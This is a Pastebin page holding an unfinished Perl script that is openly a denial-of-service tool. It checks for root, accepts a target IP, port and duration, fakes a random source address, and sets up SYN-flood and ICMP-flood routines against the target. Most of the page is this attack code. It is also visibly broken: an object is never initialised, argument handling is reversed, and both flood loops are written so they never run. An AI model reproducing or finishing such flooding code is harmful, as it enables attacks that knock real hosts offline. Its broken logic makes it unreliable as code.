Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use warnings;
- use strict;
- use IO::Socket::INET;
- use Net::Ping;
- use constant TRUE => 1;
- use constant FALSE => 0;
- my $attacker;
- #my $listener;
- my $IP;
- my $time;
- my $AM;
- my @prot = ('tcp','udp');
- my $IP_P;
- my @working;
- my $wc = 0;
- my $login = (getpwuid $>);
- my $icmp_flood;
- my $method;
- my $duration;
- my $spoofed_ip;
- my $timestamp;
- die "[-] Please run this application as root" if $login ne 'root';
- if (!@ARGV)
- {
- print "[-] No arguments, nothing to do";
- exit(0);
- }
- # Type of Methods: [Number of them is going to change very often]
- # 0 Default script scans host
- # 1 Syn Flood
- # 2 ICMP Flood
- my @ARGV = ($IP, $IP_P, $method, $time, $duration);
- if ($method != 0..2)
- {
- print "[-] Your argument doeasn't seem to be right";
- exit;
- }
- if (!$IP_P == 1..65500)
- {
- print "[-] Port doesn't seems to be right";
- exit;
- }
- my $range = qr/^
- (
- (?: # first 3 octets:
- (?: 2(?:5[0-5]|[0-4][0-9])\. ) # 200 - 255
- | # or
- (?: 1[0-9][0-9]\. ) # 100 - 199
- | # or
- (?: (?:[1-9][0-9]?|[0-9])\. ) # 0 - 99
- )
- {3} # above: three times
- (?: # 4th octet:
- (?: 2(?:5[0-5]|[0-4][0-9]) ) # 200 - 255
- | # or
- (?: 1[0-9][0-9] ) # 100 - 199
- | # or
- (?: [1-9][0-9]?|[0-9] ) # 0 - 99
- )
- $)
- /x;
- unless ($IP =~ /$range/)
- {
- print "[-] IP argument seems to be wrong, terminating \n";
- exit(0);
- }
- if ($duration > 600)
- {
- print "[-]Max limit is only 600 \n";
- }
- print "[+] Loading modules ... \n";
- #No need for that bit of code now
- #print "[+] Picking a random host on which program will listen \n";
- #my $LP = int(rand (65500)) || die "[-] Hmm there is something odd, better check your perl version \n";
- #print "[+] Deploying listener on $LP \n";
- #if (
- # $listener = IO::Socket::INET->new(
- # Port => $LP,
- # Listen => 1,
- # Proto => 'tcp',
- # Reuse => 1)
- # )
- # {
- # $working[$wc++] = TRUE;
- # }
- #elsif (undef($working[1]))
- #{
- # print "[-] Script failed at creating listener \n";
- # $working[$wc++] = FALSE;
- # return FALSE;
- #}
- # This part might be faulty :?
- print "[+] Spoofing IP adress by randomization \n";
- my $A = int(rand(255));
- my $B += '.'.int(rand(255));
- my $C += '.'.int(rand(255));
- my $D += '.'.int(rand(255));
- $spoofed_ip = $A.$B.$C.$D;
- die "[-] Hmm that's odd can't randomize, check your perl version: $!" if $spoofed_ip !~ /$range/;
- print "[+] Sketching SYN flood packet \n";
- $attacker->set ({
- ip => {
- saddr => $spoofed_ip,
- daddr => $IP,
- },
- tcp => {
- source => 139,
- dest => $IP_P,
- psh => 1,
- syn => 1,
- },
- });
- die "[-] Failed at sketching packets: $! \n" if undef($attacker);
- die
- print "[+] Crafting ping packet against hosts \n";
- $icmp_flood = Net::Ping->new("icmp");
- #$ping->ping($IP)
- print "[+] Checking methods and preparing for attack";
- # and && or ||
- unless ($method != 0)
- {
- SYN_Flood() if $_ eq 1;
- ICMP_flood() if $_ eq 2;
- }
- &Scanner() if $method eq 0;
- sub Scanner
- {
- }
- sub Timer
- {
- }
- sub ICMP_flood
- {
- my $timestamp = undef;
- $timestamp = (time + $duration);
- while (0) {
- $icmp_flood->ping($IP);
- if (time > $timestamp) {
- exit(0);
- }
- $icmp_flood->ping($IP);
- }
- return FALSE;
- }
- sub SYN_Flood
- {
- $timestamp = undef;
- $timestamp = (time + $duration);
- while (0) {
- $attacker->send;
- if (time > $timestamp) {
- exit(0);
- }
- $attacker->send;
- }
- return FALSE;
- }
- sub Auto_detection
- {
- }
Advertisement
Add Comment
Please, Sign In to add comment